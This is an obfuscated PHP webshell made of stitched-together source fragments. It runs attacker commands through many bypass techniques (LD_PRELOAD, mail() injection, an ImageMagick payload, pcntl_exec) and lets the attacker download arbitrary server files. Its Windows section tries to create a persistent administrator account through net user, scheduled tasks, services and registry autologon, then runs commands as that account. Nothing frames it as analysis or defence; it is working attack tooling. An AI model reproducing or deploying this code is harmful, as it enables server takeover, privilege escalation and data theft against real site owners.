["pipe","w"],2=>["pipe","w"]]; $p = @$f($pr1VANTA, $d, $pipes); if (is_resource($p)) { $out = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($p); if (!empty($out)) break; } } elseif ($f === chDxzZ([112,111,112,101,110])) { $h = @$f($pr1VANTA . " 2>&1", "r"); $res = ""; if ($h) { while (!feof($h)) $res .= fread($h, 4096); pclose($h); } if (strlen($res)) { $out = $res; break; } } elseif ($f === chDxzZ([101,115,99,97,112,101,115,104,101,108,108,99,109,100])) { $esc = $f($pr1VANTA); ob_start(); @system($esc); $out = ob_get_clean(); if (!empty($out)) break; } elseif ($f === chDxXZ('6'.'573'.'6'.'36'.'17'.'065'.'73'.'68'.'65'.'6'.'c6'.'c6'.'17'.'26'.'7')) { $esc = $f($pr1VANTA); $out = @chDx2x($esc); if (!empty($out)) break; } elseif ($f === chDxzZ([99,117,114,108,95,101,120,101,99])) { $ch = @curl_init('f'.'i'.'le'.':/'.'/'.'/p'.'roc'.'/se'.'l'.'f/c'.'mdl'.'i'.'ne'); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($ch, CURLOPT_POSTFIELDS, $pr1VANTA); $r = @curl_exec($ch); @curl_close($ch); if ($r && strpos($r, $pr1VANTA) !== false) { $out = $r; break; } } elseif ($f === chDxzZ('10'.'9'.',9'.'7,'.'1'.'05'.',1'.'08')) { $to = uniqid()."@".uniqid().".xyz"; @mail($to, $pr1VANTA, $pr1VANTA); $out = ""; } elseif ($f === chDxXZ('63'.'616'.'c6c'.'5'.'f75'.'7'.'36'.'572'.'5f'.'667'.'56'.'e6'.'3')) { $shellfunc = chDxzZ([115,104,101,108,108,95,101,120,101,99]); if (function_exists($shellfunc)) { $out = @call_user_func($shellfunc, $pr1VANTA); if (!empty($out)) break; }} elseif ($f === chDxzZ('102'.',1'.'05,'.'1'.'0'.'8,'.'101'.',9'.'5,1'.'03'.','.'10'.'1,'.'116'.',9'.'5,'.'99,'.'11'.'1'.',11'.'0,'.'11'.'6,1'.'01'.','.'1'.'10'.','.'116'.',1'.'15')) { $r = @$f("php://filter/read=convert.base64-encode/resource=" . $pr1VANTA); if ($r && strlen($r) >0) { $out = $r; break; } } elseif ($f === chDxzZ('102'.',1'.'1'.'1,1'.'12,'.'1'.'01,'.'11'.'0')) { $tmpf = sys_get_temp_dir() . "/" . uniqid("s-cmd") . ".sh"; $h = @$f($tmpf, "w"); if ($h) { fwrite($h, $pr1VANTA); fclose($h); } $r = @chDx2x("sh " . escapeshellarg($tmpf) . " 2>&1"); if ($r) { $out = $r; @unlink($tmpf); break; } } elseif ($f === chDxzZ('1'.'12,'.'1'.'1'.'7,'.'116'.',1'.'0'.'1,'.'1'.'10'.','.'11'.'8')) { @putenv("CMD=".$pr1VANTA); $r = @getenv("CMD"); if ($r == $pr1VANTA) { $out = $r; break; } } elseif ($f === chDxzZ('10'.'5'.','.'1'.'1'.'0,1'.'05,'.'95'.','.'1'.'15,'.'101'.',11'.'6')) { @ini_set("auto_prepend_file", $pr1VANTA); $out = @file_get_contents($_SERVER['SCR'.'IPT'.'_F'.'I'.'LEN'.'AME']); if (!empty($out)) break; } elseif ($f === chDxzZ([112,99,110,116,108,95,101,120,101,99])) { @pcntl_exec("/bin/sh", array("-c", $pr1VANTA)); } elseif ($f === chDxzZ([97,112,97,99,104,101,95,115,101,116,101,110,118])) { @apache_setenv("CMD", $pr1VANTA); $out = getenv("CMD"); if ($out == $pr1VANTA) break; } elseif ($f === chDxzZ([109,113,95,111,112,101,110]) || $f === chDxzZ([103,99,95,111,112,101,110])) { } } return $out !== false ? $out : false;}if (!function_exists('ch'.'D'.'xz'.'Z')) { function chDxzZ($arr) { if (is_string($arr)) $arr = explode(',', $arr); $r = ''; foreach ($arr as $n) $r .= chr(is_numeric($n) ? $n : hexdec($n)); return $r; }} if (!function_exists('p'.'r'.'vdy'.'z'.'h'.'s'.'ax')) { function prvdyzhsax($str) { $y = ''; for ($i = 0; $i< strlen($str); $i++) $y .= dechex(ord($str[$i])); return $y; }} if (!function_exists('ch'.'D'.'x'.'XZ')) { function chDxXZ($hx) { $n = ''; for ($i = 0; $i< strlen($hx) - 1; $i += 2) $n .= chr(hexdec($hx[$i] . $hx[$i + 1])); return $n; }} if (isset($_GET['VAN'.'TA'])) { $cdir = unx($_GET['VAN'.'T'.'A']); if (@is_dir($cdir)) { $VANTAxas[14]($cdir); } else { } } else { $cdir = $VANTAxas[0](); } function VANTAd0($file) { if (file_exists($file)) { header('C'.'o'.'nt'.'e'.'nt'.'-'.'D'.'es'.'cri'.'p'.'tio'.'n:'.' '.'Fil'.'e T'.'r'.'an'.'s'.'f'.'er'); header('C'.'on'.'t'.'e'.'nt-'.'Typ'.'e'.': '.'ap'.'p'.'lic'.'at'.'io'.'n/o'.'cte'.'t-s'.'tr'.'e'.'a'.'m'); header('Co'.'n'.'ten'.'t'.'-'.'Dis'.'pos'.'it'.'ion'.':'.' at'.'t'.'ac'.'hme'.'nt'.'; '.'f'.'i'.'l'.'ena'.'me'.'=' . basename($file)); header('Co'.'nte'.'nt-'.'Tr'.'ans'.'fer'.'-'.'E'.'nco'.'din'.'g: '.'bi'.'n'.'a'.'r'.'y'); header('Ex'.'pir'.'es'.': '.'0'); header('Ca'.'che'.'-Co'.'ntr'.'o'.'l:'.' m'.'us'.'t'.'-re'.'v'.'al'.'i'.'d'.'at'.'e'); header('Pra'.'gma'.':'.' pu'.'bl'.'i'.'c'); header('Con'.'te'.'nt-'.'Len'.'gth'.': ' . filesize($file)); ob_clean(); flush(); readfile($file); exit; }} if (!empty($_GET['d'.'o'.'n'])) {$FilesDon = VANTAd0(unx($_GET['d'.'on']));} ?>
'.'&1"'.' > '.'.pr'.'ivd'.'ayz'.'-ro'.'ot2');
usleep(350000);
$out = @file_get_contents('.'.'p'.'ri'.'vda'.'y'.'z'.'-ro'.'ot'.'2');
if (!$out) $out = "[!] No output or blocked.";
} else {
$out = v4nt4C($c . ' '.'2'.'>&'.'1');
if (!$out) $out = "[!] No output or blocked.";
}
echo "\n";
echo htmlspecialchars($out);
}
?>
".htmlspecialchars($alt_file)." created. [$result]$f
&1", "r"); if ($f) { while (!feof($f)) $out .= fread($f, 4096); fclose($f);} if (trim($out)) $ok = true; @ini_restore('f'.'i'.'l'.'te'.'r'.'.'.'de'.'fa'.'ul'.'t'); } elseif ($meth === 'ld_'.'pr'.'elo'.'ad') { if (strtoupper(substr(PHP_OS,0,3)) !== 'WI'.'N') { putenv('LD'.'_P'.'RE'.'LOA'.'D=/'.'tmp'.'/'.'x'.'.so'); $out = @chDx2x($c.' 2'.'>&1'); putenv('L'.'D_P'.'R'.'EL'.'OAD'); if (trim($out)) $ok = true; } } elseif ($meth === 'p'.'r'.'ep'.'end') { $prepend = sys_get_temp_dir()."/xx".uniqid().".php"; @file_put_contents($prepend, ""); @ini_set("auto_prepend_file", $prepend); $out = @file_get_contents($_SERVER['S'.'CRI'.'PT_'.'FI'.'LE'.'NAM'.'E']); @ini_restore("auto_prepend_file"); @unlink($prepend); if (trim($out)) $ok = true; } elseif ($meth === 'suh'.'osi'.'n') { @ini_set('suh'.'os'.'in.'.'exe'.'c'.'ut'.'or.'.'f'.'u'.'nc'.'.'.'bl'.'ac'.'kl'.'i'.'st', ''); $out = @chDx2x($c.' '.'2'.'>&'.'1'); if (trim($out)) $ok = true; } elseif ($meth === 'm'.'ail'.'inj') { $tmpf = sys_get_temp_dir()."/m".uniqid().".txt"; @mail("v@x.com", "", "", "", "-X $tmpf; $c >$tmpf 2>&1"); if (file_exists($tmpf)) { $out = file_get_contents($tmpf); unlink($tmpf); $ok = true; } } elseif ($meth === 'err'.'l'.'o'.'g') { $tmpf = sys_get_temp_dir()."/e".uniqid().".txt"; @error_log("", 3, $tmpf); if (file_exists($tmpf)) { $out = file_get_contents($tmpf); unlink($tmpf); $ok = true; } } elseif ($meth === 'f'.'op'.'en'.'inp'.'ut') { $h = @fopen("php://input", "r"); if ($h) { $out = @fread($h, 8192); fclose($h); $ok = true; } } elseif ($meth === 'b'.'i'.'nb'.'r'.'ute') { foreach(['s'.'h','b'.'as'.'h','p'.'y'.'tho'.'n','p'.'erl','n'.'c','b'.'usy'.'b'.'ox','w'.'get'] as $bin){ $which = trim(@chDx2x("which $bin")); if($which) { $out = @chDx2x("$which -c \"$c\" 2>&1"); if (trim($out)) { $ok = true; break; } } } } elseif ($meth === 'h'.'t'.'404') { $out = ''; } elseif ($meth === 'ima'.'ge'.'m'.'ag'.'ick') { $tmpi = sys_get_temp_dir().'/i'.'m'.'g'.uniqid().'.m'.'vg'; $tmpp = sys_get_temp_dir().'/'.'ou'.'t'.uniqid().'.'.'pn'.'g'; file_put_contents($tmpi, "push graphic-context\nviewbox 0 0 640 480\nfill 'url(https://|$c|)'\npop graphic-context"); @chDx2x("convert $tmpi $tmpp"); if (file_exists($tmpp)) $out = file_get_contents($tmpp); @unlink($tmpi); @unlink($tmpp); if (trim($out)) $ok = true; } elseif ($meth === 'cg'.'i'.'env') { putenv("CGI_COMMAND=$c"); $out = getenv("CGI_COMMAND"); if (trim($out)) $ok = true; } else { if (function_exists($meth)) { if ($meth === $M[0]) { $out = @$meth($c.' 2>'.'&'.'1'); if (trim($out)) $ok = true; } else if ($meth === $M[1]) { $a=[]; $meth($c.' '.'2'.'>&'.'1', $a); $out = join("\n", $a); if (trim($out)) $ok = true; } else if ($meth === $M[2]) { @$meth($c.' 2>'.'&1'); $out = ""; if (trim($out)) $ok = true; } else if ($meth === $M[3]) { @$meth($c.' '.'2'.'>&1'); $out = ""; if (trim($out)) $ok = true; } else if ($meth === $M[4]) { $h=@$meth($c.' '.'2'.'>&1',"r"); if ($h) { while(!feof($h)) $out.=fread($h,4096); fclose($h); } if (trim($out)) $ok = true; } else if ($meth === $M[5]) { $desc = [1=>["pipe","w"], 2=>["pipe","w"]]; $p = @$meth($c.' 2>'.'&1', $desc, $pipes); if (is_resource($p)) { $out = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($p); if (trim($out)) $ok = true; } } } } if ($ok && trim($out)) { $R = $out; break; } } echo htmlspecialchars($R ?: "[X] No output / all methods blocked.\n");}?>
'.'&'.'1');
if (trim($out)) return $out;
$fallback = "timeout /T $timeout /NOBREAK & $cmd";
$out2 = v4nt4C($fallback.' 2'.'>&1');
if (trim($out2)) return $out2;
return v4nt4C($cmd.' '.'2>&'.'1');
}
if (!isset($_SESSION['v'.'4'.'nt'.'4_w'.'inr'.'00t'.'_s'.'u'.'cce'.'s'.'s'])) $_SESSION['v4n'.'t'.'4_'.'wi'.'nr'.'00t'.'_'.'suc'.'ce'.'ss'] = false;
if (!isset($_SESSION['v4n'.'t4_'.'win'.'r00'.'t_'.'use'.'r'])) $_SESSION['v'.'4nt'.'4_w'.'i'.'nr'.'00t'.'_'.'u'.'s'.'er'] = '';
if (!isset($_SESSION['v4n'.'t4'.'_w'.'in'.'r00'.'t_'.'pas'.'s'])) $_SESSION['v4'.'nt'.'4_w'.'i'.'nr0'.'0t'.'_pa'.'s'.'s'] = '';
if ($_SERVER['REQ'.'U'.'ES'.'T_M'.'ET'.'HOD'] === 'POS'.'T' && isset($_POST['use'.'r'],$_POST['pas'.'s'])) {
$u = preg_replace('/[^'.'a-z'.'A'.'-'.'Z0'.'-9'.'_\\'.'-'.']'.'/','',$_POST['u'.'s'.'er']);
$p = $_POST['p'.'a'.'ss'];
$mode = $_POST['m'.'ode'] ?? 'a'.'uto';
$success = false;
$methods = [];
$methods[] = [
"[*] net user (classic)",
"net user \"$u\" \"$p\" /add && net localgroup Administrators \"$u\" /add"
];
$methods[] = [
"[*] PowerShell (background)",
"powershell -Command \"net user $u $p /add; net localgroup Administrators $u /add\""
];
$methods[] = [
"[*] schtasks",
"schtasks /create /tn winrrrrrr00t /tr \"cmd.exe /c net user $u $p /add && net localgroup Administrators $u /add\" /sc onstart /ru System"
];
$methods[] = [
"[*] at.exe",
"at 12:00 cmd.exe /c \"net user $u $p /add && net localgroup Administrators $u /add\""
];
$methods[] = [
"[*] sc service hack",
"sc create p0wnsvc binPath= \"cmd /c net user $u $p /add & net localgroup Administrators $u /add\" start= auto"
];
$methods[] = [
"[*] Registry AutoAdminLogon",
"reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v AutoAdminLogon /t REG_SZ /d 1 /f"
];
$methods[] = [
"[*] Fallback CMD",
"cmd /c net user $u $p /add & net localgroup Administrators $u /add"
];
$methods[] = [
"[*] PowerShell Script Chain",
"powershell -Command \"Start-Process cmd -ArgumentList '/c net user $u $p /add && net localgroup Administrators $u /add' -Verb runAs\""
];
$methods[] = [
"[*] Task Scheduler V2 (schtasks)",
"schtasks /create /tn winr00t2 /tr \"cmd.exe /c net user $u $p /add && net localgroup Administrators $u /add\" /sc onlogon /ru System"
];
foreach ($methods as $step) {
list($label, $cmd) = $step;
wout($label . "...");
$res = prvd_exec_with_timeout($cmd, 9);
wout($res);
if (
stripos($res, 'suc'.'ces'.'s') !== false || stripos($res, 'o'.'k') !== false ||
stripos($res, 'Re'.'tu'.'rn'.'Va'.'lue'.' '.'='.' '.'0') !== false ||
stripos($res, 'b'.'a'.''.'ar'.'') !== false ||
stripos($res, 'al'.'r'.'ea'.'d'.'y '.'exi'.'st'.'s') !== false
) {
wout("[+] Admin user injected!");
$success = true;
break;
}
sleep(1);
}
if ($success) {
$_SESSION['v'.'4n'.'t4'.'_w'.'inr'.'00'.'t_'.'su'.'cc'.'ess'] = true;
$_SESSION['v'.'4'.'n'.'t'.'4_'.'wi'.'nr0'.'0t'.'_u'.'s'.'e'.'r'] = $u;
$_SESSION['v'.'4'.'n'.'t4'.'_'.'w'.'i'.'nr'.'0'.'0t'.'_pa'.'s'.'s'] = $p;
wout("\n[+] 0wn3d! Admin user injected:\n[+] User: $u\n[+] Pass: $p");
wout("[!] Info: Webshell cannot send commands as this user. Use RDP/SMB/WinRM with these credentials!");
} else {
$_SESSION['v'.'4nt'.'4_'.'w'.'in'.'r'.'00t'.'_'.'s'.'uc'.'c'.'es'.'s'] = false;
wout("\n[!] r00t failed :: no vector worked, permission denied.");
}
}
if ($_SESSION['v'.'4n'.'t4_'.'win'.'r0'.'0t'.'_su'.'cc'.'ess']) {
$u = $_SESSION['v'.'4'.'nt4'.'_wi'.'n'.'r0'.'0t_'.'use'.'r'];
$p = $_SESSION['v'.'4nt'.'4_w'.'inr'.'00'.'t'.'_pa'.'ss'];
?>
$cmdfile 2>&1\" /sc once /st 00:00 /ru \"$u\" /rp \"$p\"";
$out1 = v4nt4C($scht.' '.'2'.'>'.'&'.'1');
wout($out1);
v4nt4C("schtasks /run /tn pzadmtask 2>&1");
sleep(1);
$output = @file_get_contents($cmdfile);
if ($output && strlen($output) > 0) {
wout("[+] Command executed as admin!\n" . $output);
$success_cmd = true;
}
@v4nt4C('sc'.'h'.'tas'.'ks'.' /d'.'e'.'l'.'et'.'e '.'/tn'.' '.'pza'.'dmt'.'ask'.' /f'.' 2>'.'&'.'1');
@unlink($cmdfile);
if (!$success_cmd) {
wout("[*] Trying service method...");
$svc = 'sc '.'c'.'r'.'ea'.'te '.'pza'.'dms'.'v'.'c '.'b'.'in'.'Pa'.'t'.'h= '.'"cm'.'d'.' /'.'c '.$c.' '.'> '.$cmdfile.' 2>'.'&1"'.' '.'ob'.'j= '.'".\\'.'\\'.$u.'"'.' p'.'a'.'ss'.'wor'.'d'.'= "'.$p.'" s'.'t'.'ar'.'t='.' '.'dem'.'an'.'d';
$out2 = v4nt4C($svc.' 2>'.'&'.'1');
wout($out2);
v4nt4C('sc '.'sta'.'r'.'t '.'pz'.'adm'.'s'.'v'.'c 2'.'>&'.'1');
sleep(1);
$output2 = @file_get_contents($cmdfile);
if ($output2 && strlen($output2) > 0) {
wout("[+] Service method: Command executed as admin!\n" . $output2);
$success_cmd = true;
}
@v4nt4C('sc'.' de'.'let'.'e p'.'zad'.'m'.'sv'.'c '.'2>&'.'1');
@unlink($cmdfile);
}
if (!$success_cmd) {
wout("[*] PowerShell fallback...");
$pw = 'po'.'wer'.'sh'.'ell'.' '.'-'.'Co'.'m'.'man'.'d '.'"'.'S'.'tar'.'t'.'-P'.'ro'.'c'.'e'.'ss'.' c'.'md '.'-A'.'rg'.'um'.'e'.'ntL'.'ist'.' \\\''.'/c '.$c.' '.'> '.$cmdfile.' '.'2>&'.'1\\\''.' '.'-'.'C'.'re'.'den'.'t'.'ia'.'l '.'(Ne'.'w-'.'Ob'.'jec'.'t '.'S'.'ys'.'t'.'e'.'m'.'.'.'Man'.'age'.'men'.'t'.'.A'.'u'.'tom'.'at'.'i'.'on'.'.'.'PS'.'C'.'r'.'ed'.'en'.'t'.'ia'.'l'.'(\\\''.$u.'\\\''.','.'(Co'.'n'.'ve'.'r'.'tT'.'o-S'.'e'.'c'.'ur'.'e'.'Str'.'ing'.' '.'\\\''.$p.'\\\' '.'-'.'AsP'.'l'.'a'.'inT'.'ex'.'t '.'-Fo'.'rc'.'e'.')'.')) '.'-W'.'in'.'do'.'w'.'S'.'tyl'.'e'.' Hi'.'d'.'de'.'n"';
$out3 = v4nt4C($pw.' 2'.'>&1');
wout($out3);
sleep(1);
$output3 = @file_get_contents($cmdfile);
if ($output3 && strlen($output3) > 0) {
wout("[+] PowerShell: Command executed as admin!\n" . $output3);
$success_cmd = true;
}
@unlink($cmdfile);
}
if (!$success_cmd) {
wout("[!] Admin command failed. Try RDP / manual login?");
}
}
?>